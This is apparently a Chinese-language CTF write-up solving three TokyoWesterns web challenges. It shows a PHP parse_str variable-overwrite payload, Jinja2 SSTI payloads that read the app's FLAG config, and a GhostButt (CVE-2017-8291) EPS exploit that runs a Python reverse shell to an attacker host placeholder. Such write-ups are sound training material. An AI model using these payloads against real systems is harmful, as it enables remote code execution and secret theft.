WEB
Simple Auth
首先可以拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
<?php require_once 'flag.php' ;if (!empty ($_SERVER['QUERY_STRING' ])) { $query = $_SERVER['QUERY_STRING' ]; $res = parse_str($query); if (!empty ($res['action' ])){ $action = $res['action' ]; } } if ($action === 'auth' ) { if (!empty ($res['user' ])) { $user = $res['user' ]; } if (!empty ($res['pass' ])) { $pass = $res['pass' ]; } if (!empty ($user) && !empty ($pass)) { $hashed_password = hash('md5' , $user.$pass); } if (!empty ($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e' ) { echo $flag; } else { echo 'fail :(' ; } } else { highlight_file(__FILE__ ); }
它需要传过去的action等于auth,记录下user和pass,如果md5(user.pass)===’c019f6e5cd8aa0bbbcc6e994a54c757e’,那就有flag 很明显直接md5进行解密是不行的,但是我们看到有个parse_str函数,而且还没有第二个参数,因此可以进行变量覆盖的漏洞利用,payload:
1
?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e
然后就能拿到flag
1
TWCTF{d0_n0t_use_parse_str_without_result_param}
Shrine
这题进去就给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
import flaskimport osapp = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' ) @app.route('/') def index () : return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine (shrine) : def safe_jinja (s) : s = s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' , 'self' ] return '' .join(['{{% set {}=None%}}' .format(c) for c in blacklist])+s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__' : app.run(debug=True )
可以看到用了jinja和有一堆黑名单,猜测是jinja2的ssti注入
信息收集
1、/shrine/<path: shrine>是注入点 2、过滤了括号和config以及self 3、漏洞是jinja2的ssti漏洞
简单尝试
试下能不能执行
1 2
http://shrine.chal.ctf.westerns.tokyo/shrine/{{3*3}} > >>>9
确实可以进行ssti,但是我们要想办法绕开waf 如果完全没有waf,我们可以
1 2 3 4 5 6 7
# confighttp://shrine.chal.ctf.westerns.tokyo/shrine/{{config}} # self# {{self}} => <TemplateReference None>http://shrine.chal.ctf.westerns.tokyo/shrine/{{self.__dict__}} # ()http://shrine.chal.ctf.westerns.tokyo/shrine/{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}
但是现在有waf,所以我们不能直接利用,这里大佬给了两个利用点url_for 在url_for里面,我们可以找到current_app
1 2
{{url_for.__globals__}} http://shrine.chal.ctf.westerns.tokyo/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
get_flashed_messages 这个里面也能找到current_app
1 2
{{get_flashed_messages.__globals__}} http://shrine.chal.ctf.westerns.tokyo/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
这样就能拿到flag了TWCTF{pray_f0r_sacred_jinja2}
slack emoji converter
依旧是能拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
from flask import ( Flask, render_template, request, redirect, url_for, make_response, ) from PIL import Imageimport tempfileimport osapp = Flask(__name__) @app.route('/') def index () : return render_template('index.html' ) @app.route('/source') def source () : return open(__file__).read() @app.route('/conv', methods=['POST']) def conv () : f = request.files.get('image' , None ) if not f: return redirect(url_for('index' )) ext = f.filename.split('.' )[-1 ] fname = tempfile.mktemp("emoji" ) fname = "{}.{}" .format(fname, ext) f.save(fname) img = Image.open(fname) w, h = img.size r = 128 /max(w, h) newimg = img.resize((int(w*r), int(h*r))) newimg.save(fname) response = make_response() response.data = open(fname, "rb" ).read() response.headers['Content-Disposition' ] = 'attachment; filename=emoji_{}' .format(f.filename) os.unlink(fname) return response if __name__ == '__main__' : app.run(host="0.0.0.0" , port=8080 , debug=True )
这题考了GhostButt任意命令执行(cve-2017-8291),通过bypass dSAFER参数达到目的,exp如下
1 2 3 4 5 6 7 8 9 10
!PS-Adobe-3.0 EPSF-3.0 % %BoundingBox: 0 0 30 30userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps-ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);') currentdevice putdeviceprops
然后就能getshell了 具体分析请参考: https://paper.seebug.org/310/ https://github.com/vulhub/vulhub/tree/master/python/PIL-CVE-2017-8291
评论